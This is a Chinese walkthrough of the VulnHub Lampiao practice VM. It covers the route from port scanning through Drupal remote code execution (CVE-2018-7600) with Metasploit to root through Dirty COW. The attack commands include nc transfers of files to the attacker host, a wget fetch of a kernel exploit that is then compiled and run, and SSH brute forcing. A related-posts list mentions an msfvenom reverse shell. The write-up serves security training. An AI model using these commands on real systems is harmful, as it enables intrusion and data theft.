vulnhub|渗透测试lampiao

题记

最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下.

环境准备

vulnhub最近出的一台靶机

靶机(https://www.vulnhub.com/entry/lampiao-1,249/)Lampiao.zip (Size: 669 MB)

Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM

(https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM)

Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip

(https://download.vulnhub.com/lampiao/Lampiao.zip)

Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent ( Magnet)

(https://download.vulnhub.com/lampiao/Lampiao.zip.torrent)

攻击机 Kali IP 10.10.10.128

靶机在同一C段下 IP 10.10.10.129

主机发现

使用命令 nmap -sP 192.168.107.1/24

起始Ip 10.10.10.1,攻击机的ip是10.10.10.128,而10.10.10.254是结束ip。因为环境配置为dhcp动态分布,所以说我们的靶机ip就

是10.10.10.129

端口扫描

我们需要知道目标机器上开了哪些端口,运行了哪些服务,利用某些服务的漏洞来进行攻击,所以我们先进行端口扫描。

之前用nmap -sS 只扫出来个22端口,于是尝试ssh弱口令爆破,未果,

利用题目信息生成字典,未果,访问网站,发现如下是个静态页面什么也没有。文件头,源代码中无有效信息。

后来反应过来,有可能网站还有其它端口可以访问,因为-sS参数是扫描常用的1000以内的端口号。于是用-p-参数: nmap -p- 10.1

0.10.129

扫出1898端口,于是访问,发现是个web服务端口:

大致对网站浏览下,查找下功能点。主要是进行信息收集

目录扫描

信息收集中非常重要的一步。这里我使用御剑扫描,可以看到,扫出来了robots.txt

于是访问robots.txt

发现敏感文件/CHANGELOG.txt,一个记录更新的日志,访问发现是Drupal为框架的网站,最近一次更新为7.54

获取会话

其它目录暂无发现有用信息,搜集到大致的敏感信息后于是搜索其对应的漏洞利用,推荐使用msf,非常全面,而且方便,使用前记

得 msfdb start 启动其连接的数据库,这样查找速度会很快

ps(kali默认是2.0版本也就是16年的,建议搜索前保证kali是最新版,漏洞才更全。现在用的是rolling更新源了。其他的源的话更新会报

错。kali rolling修改更新源(https://blog.csdn.net/xuqi7/article/details/71430349)

msf启动后,search drupal搜索其存在的对应漏洞,发现如下。

使用2018年这个漏洞。Drupal 在3月28日爆出的一个远程代码执行漏洞,CVE编号CVE-2018-7600。分析及 PoC 构造:

推荐连接(https://paper.seebug.org/567/)

我们直接利用,设置好目标主机10.10.10.129,目标端口号1898,查看以及设置目标操作系统类型,然后run执行,可以看到获取到了一个会话

执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下: python -c 'import pty; pty.spawn("/bin/bas

h")'

寻找突破口

果不其然是www-data用户,说明需要提权,ls -al查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看

  1. 先在攻击机上使用命令 nc =-lvp 1234>接受的文件名 准备接收文件
  2. 在靶机使用 nc -w 3 10.10.10.12<要传输的文件名 传输文件

在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现

  1. qrc.png:一个二维码,扫出来的结果是 Try harger! muahuahuahua,被作者鼓励了。。
  2. audio.m4a:提示为user tiago,说明要先找到用户tiago的密码
  3. uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常
  4. lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写

继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码

获取普通用户权限

尝试登陆tiago用户,发现成功了。获取tiago用户的权限,根据提示及题目背景,发现tiago和lampiao很有些关系,那首音乐又提示说tiago。

然后试了试mysql数据库root的密码,结果密码也是tiago的登陆密码,成功获取Mysql数据库的root权限。我想tiago的提示也许就是这个意思吧

在Mysql数据库中发现有drupal数据库,网站所有用户的信息就在这里了。这应该就是tiago这个用户最大的用处了吧,

尝试爆破root密码

获得普通用户的权限后,接下来的一步就是提权到最高的root权限了。通过前面收集的所有信息生成社工字典,ssh爆破,未成功,

使用cewl

一个通过爬取网站上关键信息生成字典的一个神器,命令 cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt ,爆破ssh未果

内核提权:

uname -a 查看当前内核版本:

这里需要去网上搜适合的exp了。推荐使用kali自带的searchsploit

,非常全面,方便,当然也可以去网上搜,

这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为 ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

使用wget命令,下载提权exp到靶机: wget https://www.exploit-db.com/download/40847.cpp

c++格式的文件,先编译,编译命令 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

  1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
  2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
  3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
  4. -std=c++11就是用按C++2011标准来编译的
  5. -pthread 在Linux中要用到多线程时,需要链接pthread库
  6. -o dcow gcc生成的目标文件,名字为dcow

./dcow -s  执行。提权成功

目标机上如果没有编译环境,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可

Get flag

flag肯定在root目录下。所以cd到root然后看到flag.txt ,cat查看一下。得到flag,通关。

记一次 lampiao渗透(Drupal+脏牛提权)的更多相关文章

  1. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  2. vulnhub-Lampiao脏牛提权

    准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...

  3. 脏牛提权CVE-2016-5195

    gcc -pthread dirtyc0w.c -o dirtyc0w 尝试使用gcc -pthread dirtyc0w.c -o dirtyc0w 编译该POC文件 gcc命令是一个编译器套件,可 ...

  4. 【渗透测试】Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  5. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  6. Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

    个人博客阅读体验更佳 本次来试玩一下vulnhub上的Billu_b0x2,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题.靶场推荐使用N ...

  7. Lampiao(dirtycow)脏牛漏洞复现

    nmap扫描内网80端口发现目标主机 nmap -sP   -p 80 192.168.31.0/24 扫描发现目标主机开放22端口.并且  1898端口开放http服务 御剑扫描目录并访问之后发现存 ...

  8. 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...

  9. Linux提权—脏牛漏洞(CVE-2016-5195)

    目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...

随机推荐

  1. Nacos 服务配置中心

    1.因为项目是微服务分布式项目,每个微服务都需要用到配置中心,所以第一步我们先在common中添加相应的依赖 <dependency> <groupId>com.alibaba ...

  2. 解决Ajax同源政策的方法【JSONP + CORS + 服务器端解决方案】

    解决Ajax同源政策的方法 使用JSONP解决同源限制问题 jsonp是json with padding的缩写,它不属于Ajax请求,但它可以模以Ajax请求.\ 步骤 1.将不同源的服务器端请求地 ...

  3. SpringIOC的注解应用

    SpringIOC的注解应用 ​ 在之前的项目中,我们都是通过xml文件进行bean或者某些属性的赋值,其实还有另外一种注解的方式,在企业开发中使用的很多,在bean上添加注解,可以快速的将bean注 ...

  4. day03 函数基本语法及特性 2. 参数与局部变量 3. 返回值 嵌套函数 4.递归 5.匿名函数 6.函数式编程介绍 7.高阶函数 8.内置函数

    本节内容 1. 函数基本语法及特性 2. 参数与局部变量 3. 返回值 嵌套函数 4.递归 5.匿名函数 6.函数式编程介绍 7.高阶函数 8.内置函数 温故知新 1. 集合 主要作用: 去重 关系测 ...

  5. Python_ 1生成器(上)初识生成器

    引言:列表生成式 现在有个需求,给定列表[0, 1, 2, 3, 4, 5, 6, 7, 8, 9],现在要求你把列表里的每个值加1,你怎么实现?你可能会想到2种方式 1 >>> a ...

  6. Enabling Session Persistence 粘性会话

    NGINX Docs | HTTP Load Balancing https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-ba ...

  7. 外观模式(Facade) Adapter及Proxy 设计模式之间的关系 flume 云服务商多个sdk的操作 face

    小结: 1. 外观模式/门面模式 Facade  往是多个类或其它程序单元,通过重新组合各类及程序单元,对外提供统一的接口/界面. Proxy(代理)注重在为Client-Subject提供一个访问的 ...

  8. var、let、const之间的区别

    var声明变量可以重复声明,而let不可以重复声明var是不受限于块级的,而let是受限于块级var会与window相映射(会挂一个属性),而let不与window相映射var可以在声明的上面访问变量 ...

  9. HarmonyOS三方件开发指南(7)——compress组件

    目录:1. 组件compress功能介绍2. 组件compress使用方法3. 组件compress开发实现 1. 组件compress功能介绍1.1.  组件介绍:        compress是 ...

  10. python自动化之使用allure生成测试报告

    Allure测试报告框架帮助你轻松实现"高大上"报告展示.本文通过示例演示如何从0到1集成Allure测试框架.重点展示了如何将Allure集成到已有的自动化测试工程中.以及如何实 ...